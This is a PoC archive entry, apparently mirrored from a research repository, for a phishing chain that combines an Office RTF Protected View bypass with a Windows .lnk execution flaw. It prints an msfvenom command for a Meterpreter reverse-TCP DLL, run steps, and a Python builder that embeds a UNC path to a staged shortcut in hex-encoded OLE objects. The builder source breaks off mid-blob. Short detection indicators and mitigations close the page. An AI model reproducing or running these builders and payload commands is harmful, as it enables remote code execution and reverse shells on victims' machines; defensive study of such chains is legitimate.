PoC Archive PoC Archive
High CVE-2026-21514, CVE-2026-21510 unpatched

RTF Protected-View Bypass (CVE-2026-21514) Chained with ShellLink RCE (CVE-2026-21510) — Builder Scripts

by ChaitanyaHaritash · 2026-07-05

Severity
High
CVE
CVE-2026-21514, CVE-2026-21510
Affected product
Microsoft Office (RTF/Word rendering + Protected View) and Windows Shell Link (.lnk) handling
Affected versions
Office builds vulnerable to CVE-2026-21514 Protected View bypass; Windows hosts vulnerable to CVE-2026-21510
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherChaitanyaHaritash
CVE / AdvisoryCVE-2026-21514, CVE-2026-21510
Categorysocial-engineering
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsrtf, lnk, ole-object, protected-view-bypass, cve-2026-21514, cve-2026-21510, phishing, initial-access
RelatedSee also pocs/social-engineering/2026-07-05_cve-2026-21510-lnk-stomping-generator

Affected Target

FieldValue
Software / SystemMicrosoft Office (RTF/Word rendering + Protected View) and Windows Shell Link (.lnk) handling
Versions AffectedOffice builds vulnerable to CVE-2026-21514 Protected View bypass; Windows hosts vulnerable to CVE-2026-21510
Language / PlatformPython 2/3-style scripts producing raw RTF and LNK binary files
Authentication RequiredNo
Network Access RequiredYes (embedded OLE object references a remote/UNC path to fetch the staged .lnk/payload)

Summary

This repository contains two small builder scripts used to research a document-based attack chain: gen_rtf.py assembles a malicious RTF file containing an embedded OLE object whose payload is a hex-encoded UNC path (\\127.0.0.1@80\final.lnk) to a remotely staged .lnk, intended to bypass Office’s Protected View sandbox (CVE-2026-21514) when the RTF is opened. make_lnk.py builds the companion .lnk referenced by that path, embedding an HTML/JScript payload (via an ActiveXObject("htmlfile")/xmlfile COM trick) that loads a remotely hosted DLL (e.g. a Meterpreter reverse-TCP payload built with msfvenom) for code execution under CVE-2026-21510’s ShellLink handling flaw. Together the two scripts model a phishing chain: victim opens an RTF attachment, Office renders/loads the embedded object, which in turn resolves the linked .lnk, which then triggers execution of the attacker’s staged DLL/payload. The author’s own notes describe this as an evolving set of experiments (some primitives marked “Done”, others “Pending”), not a finished, production-grade exploit.


Vulnerability Details

Root Cause

CVE-2026-21514 stems from Office’s Protected View / sandbox failing to fully isolate certain embedded OLE object reference paths (e.g. paths interacting with word/_rels/webSettings.xml.rels-style diagnostics references), allowing an embedded object to reach outside the sandbox. CVE-2026-21510 (as in the companion LNK-stomping entry) is a ShellLink target-resolution/execution flaw that lets a crafted .lnk run an attacker-controlled command when opened.

Attack Vector

  1. Attacker builds a malicious .lnk with make_lnk.py, embedding an HTML/JScript loader that references a remotely hosted DLL/payload via a UNC path.
  2. Attacker builds a malicious RTF with gen_rtf.py, embedding an OLE object whose payload data references the UNC path to that .lnk.
  3. Attacker delivers the RTF (e.g. as an email attachment) to the victim.
  4. Victim opens the RTF; Office’s Protected View is bypassed (CVE-2026-21514), causing the embedded object/link to resolve.
  5. The referenced .lnk is loaded, triggering CVE-2026-21510’s ShellLink execution flaw and running the attacker’s staged payload (e.g. a reverse shell DLL).

Impact

Remote code execution on the victim host from simply opening a document, chaining a sandbox/Protected-View bypass with a shortcut-execution flaw — a classic phishing-to-RCE initial-access chain.


Environment / Lab Setup

Target:   Windows host with a vulnerable Microsoft Office build (RTF/Protected View) and vulnerable .lnk handling
Attacker: Python 2/3 (scripts use raw hex string manipulation), msfvenom for payload generation, a webserver/SMB share to host the staged .lnk and DLL

Proof of Concept

PoC Script

See gen_rtf.py and make_lnk.py in this folder.

1
2
3
4
5
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f dll > cc.dll

python make_lnk.py

python gen_rtf.py

make_lnk.py writes final.lnk, embedding an HTML ActiveXObject/xmlfile loader that fetches and executes the staged DLL. gen_rtf.py writes an RTF containing an OLE object whose data block embeds the UNC path to final.lnk, to be delivered as a phishing attachment.


Detection & Indicators of Compromise

Signs of compromise:

  • RTF attachments containing embedded \objdata blocks referencing UNC paths (\\<ip>@<port>\...)
  • .lnk files whose embedded strings reference ActiveXObject("htmlfile")/xmlfile COM loaders
  • Unexpected outbound connections to non-corporate IPs immediately after opening an email attachment

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for Microsoft advisories for CVE-2026-21514 and CVE-2026-21510
Interim mitigationBlock RTF/legacy Office formats at the mail gateway, enforce Protected View and disable OLE auto-activation via group policy, block outbound SMB/WebDAV to the internet

References


Notes

Mirrored from https://github.com/ChaitanyaHaritash/CVE-2026-21514_CVE-2026-21510 on 2026-07-05.

gen_rtf.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
import os
import re
import argparse
import binascii

# LNK webdav path
Path = r"\\127.0.0.1@80/final.lnk"


def add_null_padding(d):
    return "".join(d[i:i+2] + "00" for i in range(0, len(d), 2))

padded='00'+add_null_padding(Path.encode('hex').upper())

# RTF Primitives
rtfhead = r'''{\rtf1{\object\objocx{\*\objclass 0000000.....}\objw547\objh263{\*\objdata 01050000020000001100000066696C65000000000000000000000000000000000000000000000A0000D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF0900060000000000000000000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500FFFFFFFFFFFFFFFF0100000061F956880A34D011A96B00C04FD705A2000000000000000000000000E03F2007985CDB0103000000000200000000000043004F004E00540045004E005400530000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000201FFFFFFFF02000000FFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000B0010000000000005200690063006800450064006900740046006C0061006700730000000000000000000000000000000000000000000000000000000000000000000000000000001C000200FFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000000000000000000000000000000000000000000000000000070000000C000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000200000003000000040000000500000006000000FEFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF4C000000B9030000DC0100000100000000000000000000000000000000000000000000004C000000000000000000000001000000E0D057007335CF11AE6908002B2E126200000000000000004C0000000114020000000000C0000000000000468100000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000120114001F0080531C87A0426910A2EA08002B30309DFC006180000000

~PADDED_PATH~

3F0069006E00690074003D00310000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000080000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000105000000000000}}

{\object\objemb{\*\objclass 000000....}{\*\objdata 010500000200000011000000576f72642e446f63756d656e742e313200000000000000000000540000
d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
fffffffffffffffffdffffff20000000feffffff2100000005000000060000000700000008000000090000000a0000000b0000000c0000000d0000000e0000000f000000100000001100000012000000130000001400000015000000160000001700000018000000190000001a0000001b0000001c0000001d0000001e00
00001f000000fefffffffeffffff22000000230000002400000025000000260000002700000028000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff020000009b4c75f4f564404b8af4679732ac06070000000000000000000000007022
dfb650d0dc0103000000c01000000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000201ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000
00000000000000000000000014000000000000005000610063006b006100670065000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100002010100000004000000ffffffff0000000000000000000000000000000000000000000000000000
00000000000000000000040000001d36000000000000010043006f006d0070004f0062006a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000201ffffffffffffffffffffffff000000000000000000000000000000000000000000000000
000000000000000000000000010000006b00000000000000feffffff02000000fefffffffeffffff05000000060000000700000008000000090000000a0000000b0000000c0000000d0000000e0000000f000000100000001100000012000000130000001400000015000000160000001700000018000000190000001a00
00001b0000001c0000001d0000001e0000001f000000200000002100000022000000230000002400000025000000260000002700000028000000290000002a0000002b0000002c0000002d0000002e0000002f00000030000000310000003200000033000000340000003500000036000000370000003800000039000000
3a0000003b0000003c0000003d0000003e0000003f0000004000000041000000fefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff010000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100feff030a0000ffffffff9b4c75f4f564404b8af4679732ac06071800
00004d6963726f736f667420576f726420446f63756d656e74000a0000004d53576f7264446f630011000000576f72642e446f63756d656e742e313200f439b27100000000000000000000000000000000000000000000000000000000000000000000000300040000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000ffffffff030000000400000001000000ffffffff0000000000000000ec0900005f0800001e0f00000100090000038f07000001002106000000000400000003010800050000000b0200000000050000000c025100600005000000
090200000000050000000102ffffff00a5000000410bc6008800200020000000000020002000000020002800000020000000400000000100010000000000000100000000000000000000000000000000000000000000ffffff00000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000504b03041400060008000000210017ab2f2c6601000054050000130008025b436f6e74656e745f54797065735d2e786d6c20a2040228a000020000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b494cb6ec2301045f795fa0f96b75562e8a2aa2a02
8b3e962d52e907187b0256fd926d5e7fdf3181a8aa804805369192997bef99249ec1686d34594288cad98af6cb1e25608593cace2afa35792b1e2989895bc9b5b350d10d443a1adede0c261b0f91a0dac68ace53f24f8c453107c363e93c58acd42e189ef036cc98e7e29bcf80ddf77a0f4c389bc0a622650f3a1cbc40cd
173a91d7353e6e48c0d4943c377d39aaa2ca64fdbac81576501340c73f22eebd568227acb3a5957fc88a1d5589ca6d4f9c2b1fefb0e14842ae1c0fd8e93ef0750625818c7948efdc60175bb9209974626150599eb639c0e9ea5a0968f5d9cd07272046fc4e46976dc57065f7fc473962da688897a7687cbbe32125145c03
60e7dc89b082e9e7d5287e997782d4983be1530d97c768ad3b21129e5a68aefdb339b636a722b1731c9c8fb805c23fc6de1fd9ac2e70600f21a9d37f5d9b88d667cf07791b489007b2d976270e7f000000ffff0300504b0304140006000800000021004b2045b8fe000000de0200000b0008025f72656c732f2e72656c73
20a2040228a0000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000ac92db4a03311040df05ff21cc7b37db2a22d26c5f44e89bc8fa016332bb1bdc5c48a6dafebd41bc2dac45b08f733b9c4966bdd9bb51bc50ca367805cbaa06415e07637dafe0b1bd5b5c83c88cdee0183c293850864d737eb67ea011b90ce5c1c62c0ac567050373bc9132eb811c
e62a44f2a5d285e4904b987a19513f634f7255d75732fd644033618aad5190b6e602447b88f43fb674c4689051ea90681153994e6ccb2ea2c5d4132b3041df97747eefa80a19e4bcd0eab4423cecdc93473bcea87cd52a72dd6f3ecbbffb84aeb39a6e83de39f23ca735edf8567a0dc948f3913ef63a97a7b4a13d933764
8e7f18c6f869242757d9bc010000ffff0300504b030414000600080000002100f3cd68d0900300004b0d000011000000776f72642f646f63756d656e742e786d6ca497cd6edb381080ef0bec3b08bac71465c7768c2a45b7d9163d6c11a4d9076028ca22428a024959f63efd0ea9dfaeb285acf860fece37c3e170487df8
78962238316db82a9210afa230600555292f8e49f8f7f3979b7d18184b8a940855b024bc30137ebcfffdb70ff52155b492acb001200a73a84b9a84b9b5e501214373268959494eb5322ab32baa245259c62943b5d2298a231cf95aa91565c680becfa4381113b6387a9e474b35a941d8013788e6445b761e18f86ac82dba
43fb29285e008215c6788a5a5f8dda2267d504b4590402ab26a4db65a43716b75d468aa7a4dd32d27a4ada2f234dc2494e035c95ac80c14c69492c34f51149a25fabf206c025b1fc850b6e2fc08cb61d86f0e275814520d513e43abd9ab04352a54cacd38ea292b0d2c5a195bfe9e59de98746be2d7a0926e6a905757788
9dad30b693d5737cd7883fb489c57b0d6926c08faa30392ffbec2097d26030ef20a75f39e0244537af2ef1cca3f67fa9eda1d9860138c7fc76efa4682cff3511473376d3217a893926fcacb3b34442040f8a17b966e45c3c33f974807802d85236f3b2e818fb9681e870ba1d87cf3c561da7d915c7e18363f1cc1cf85f63
4680b4ba0a11af3b3b5ce1c4472c93da34bf0ed7ed1172b2c4929c98fed034c46c6622e8889b11b10930a1689fcf1c935de7b4db1e7891a33d2c8fef3ba85fb5aaca81c6df47fb36a4ecda3d9eae60b5077e9c84ccfb8cf991931232b9a4876fc74269f222c02238be019cc0c0ef80fb87407685afb2b3ef77f1d35632e1
2a6915b89418dec323f045a5175796417d804764fa948451fb0bbbae0796914ad8d1889778d4ae3025a1601dcc15dcf928deed9da06b3c55ce445259152237553712fa8b2aac8139c4500e3bf4cc2533c17756074f4a92c2493362ec27c3c933f8091092c382ff6cfbdc78fea9306f4b5233edf6cacd3f307a2210f7f1a6
ebf9ecacf8a94f10bf944e7f1296f6e68f2737865afb51bff2e66ff69aaeb6b9d3581ffc13dd7b1a9c516a66983eb1f01e7cfc1ac0f59a187b11cce48cd920d72c4bda30c377f10a6ff7ab18ef56f16d0461a7e39536267068db286816e4ddc1a87dd46f8481dfece30fe73fb87430be734f21580fd4b7fbf5be715c79fc
8b3861abe06ec41bbcf3d1c38f39840dde45d8355f94b54a0ec38265a3d19c9194c12b6317f900ca94b2a3e6b1b2be1935eaa812cedbad4bdc1cdf0d9f345fb53b013efe1eb9a560e57aeb8550b7445f6de21e0d5f41f7ff020000ffff0300504b030414000600080000002100d664b351f4000000310300001c00080177
6f72642f5f72656c732f646f63756d656e742e786d6c2e72656c7320a2040128a0000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000ac92cb6ac3301045f785fe83987d2d3b7d5042e46c4a21dbd6fd00451e3fa82c09cdf4e1bfaf4849ebd060baf072ae9873cf8036dbcfc18a778cd47ba7a0c87210e88caf7bd72a78a91eafee41106b576beb1d2a189160
5b5e5e6c9ed06a4e4bd4f58144a23852d03187b594643a1c34653ea04b2f8d8f83e634c656066d5e758b7295e777324e19509e30c5ae561077f535886a0cf81fb66f9adee083376f033a3e53213f70ff8ccce9384a581d5b640593304b4490e745564b8ad01f8b6332a7502caac0a3c5a9c0619eabbf5db29ed32efeb61f
c6efb09873b859d2a1f18e2bbdb7138f9fe828214f3e7af9050000ffff0300504b030414000600080000002100b6f46798d2060000c920000015000000776f72642f7468656d652f7468656d65312e786d6cec594b8b1b4710be07f21f86b9cb7acde861ac35d248f26bd736deb5838fbd526ba6ad9e69d1dddab5308660
9f7209049c90430cb9e510420c31c4e4921f63b0499c1f91ea1e49332df5c48f5d8309bb82553fbeaafebaaababa3473e1e2fd983a47980bc2928e5b3d57711d9c8cd8982461c7bd7d302cb55c4748948c116509eeb80b2cdc8b3b9f7f76019d97118eb103f289388f3a6e24e5ec7cb92c46308cc43936c309cc4d188f91
842e0fcb638e8e416f4ccbb54aa5518e11495c274131a8bd31999011760e944a7767a57c40e15f22851a1851beaf5463434263c7d3aafa120b1150ee1c21da71619d313b3ec0f7a5eb5024244c74dc8afe73cb3b17ca6b212a0b64737243fdb7945b0a8ca7352dc7c3c3b5a0e7f95ea3bbd6af01546ee306cd4163d058eb
d300341ac14e532ea6ce662df096d81c286d5a74f79bfd7ad5c0e7f4d7b7f05d5f7d0cbc06a54d6f0b3f1c06990d73a0b4e96fe1fd5ebbd737f56b50da6c6ce19b956edf6b1a780d8a2849a65be88adfa807abddae2113462f5be16ddf1b366b4b78862ae7a22b954f6451acc5e81ee3430068e7224912472e6678824680
0b1025879c38bb248c20f066286102862bb5cab05287ffeae3e996f6283a8f514e3a1d1a89ad21c5c711234e66b2e35e05ad6e0ef2eac58b978f9ebf7cf4fbcbc78f5f3efa75b9f6b6dc65948479b9373f7df3cfd32f9dbf7ffbf1cd936fed7891c7bffee5abd77ffcf95feaa541ebbb67af9f3f7bf5fdd77ffdfcc402ef
727498871f90180be73a3e766eb118366859001ff2f793388810c94b749350a00429190b7a2023037d7d8128b2e07ad8b4e31d0ee9c206bc34bf6710de8ff85c120bf05a141bc03dc6688f71eb9eaea9b5f2569827a17d713ecfe36e2174645b3bd8f0f2603e83b827369541840d9a3729b81c8538c1d251736c8ab145ec
2e21865df7c88833c126d2b94b9c1e2256931c9043239a32a1cb2406bf2c6c04c1df866df6ee383d466deafbf8c844c2d940d4a61253c38c97d05ca2d8ca18c5348fdc4532b291dc5ff091617021c1d321a6cc198cb11036991b7c61d0bd0669c6eef63dba884d2497646a43ee22c6f2c83e9b06118a6756ce2489f2d82b
620a218a9c9b4c5a4930f384a83ef8012585eebe43b0e1eeb79feddb9086ec01a266e6dc76243033cfe3824e10b629eff2d848b15d4eacd1d19b874668ef624cd1311a63ecdcbe62c3b39961f38cf4d508b2ca656cb3cd5564c6aaea275840ada48a1b8b63893042761f87ac80cfde6223f12c5012235ea4f9fad40c9901
5c75b1355ee9686aa452c2d5a1b593b82162637f855a6f46c8082bd517f6785d70c37fef72c640e6de07c8e0f79681c4feceb63940d458200b98030455862ddd8288e1fe4c441d272d36b7ca4dcc439bb9a1bc51f4c424796b05b451fbf81faff6810ae3d50f4f2dd8d3a977ecc093543a45c964b3be29c26d563501e363
f2e917357d344f6e62b8472cd0b39ae6aca6f9dfd73445e7f9ac9239ab64ce2a19bbc847a864b2e2453f025a3de8d15ae2c2a73e1342e9be5c50bc2b74d923e0ec8f8730a83b5a68fd9069164173b99c810b39d26d8733f90591d17e8466b04c55af108aa5ea50383326a070d2c356dd6a82cee33d364e47abd5d5734d10
40321b87c26b350e659a4c471bcdec01de5abdee85fa41eb8a80927d1f12b9c54c12750b89e66af02d24f4ce4e8545dbc2a2a5d417b2d05f4bafc0e5e420f548dcf75246106e10d263e5a7547ee5dd53f7749131cd6dd72cdb6b2baea7e36983442edc4c12b9308ce0f2d81c3e655fb733971af49429b669345b1fc3d72a
896ce4069a983de718ce5cdd07352334ebb813f8c904cd7806fa84ca54888649c71dc9a5a13f24b3ccb8907d24a214a6a7d2fdc74462ee501243ace7dd40938c5bb5d6547bfc44c9b52b9f9ee5f457dec97832c12359309275612e55629d3d215875d81c48ef47e363e790cef92d0486f29b5565c03111726dcd31e1b9e0
ceacb891ae9647d178df921d514467115ade28f9649ec2757b4d27b70fcd747357667fb999c35039e9c4b7eedb85d4442e69165c20ead6b4e78f8f77c9e7586579df6095a6eecd5cd75ee5baa25be2e417428e5ab698414d31b650cb464d6aa75810e4965b8766d11d71dab7c166d4aa0b625557eaded68b6d76780f22bf
0fd5ea9c4aa1a9c2af168e82d52bc93413e8d15576b92f9d39271df741c5ef7a41cd0f4a95963f287975af526af9dd7aa9ebfbf5eac0af56fabdda43308a8ce2aa9fae3d841ffb74b17c6fafc7b7deddc7ab52fbdc88c565a6ebe0b216d6efeeabb5e277f70e01cb3c68d486ed7abbd728b5ebdd61c9ebf75aa576d0e895
fa8da0d91ff603bfd51e3e749d230df6baf5c06b0c5aa54635084a5ea3a2e8b7daa5a657ab75bd66b735f0ba0f97b6869dafbe57e6d5bc76fe050000ffff0300504b03041400060008000000210027b5c3aaba030000e00c000016000000646f6350726f70732f7468756d626e61696c2e656d66cc565d485441143e77d7
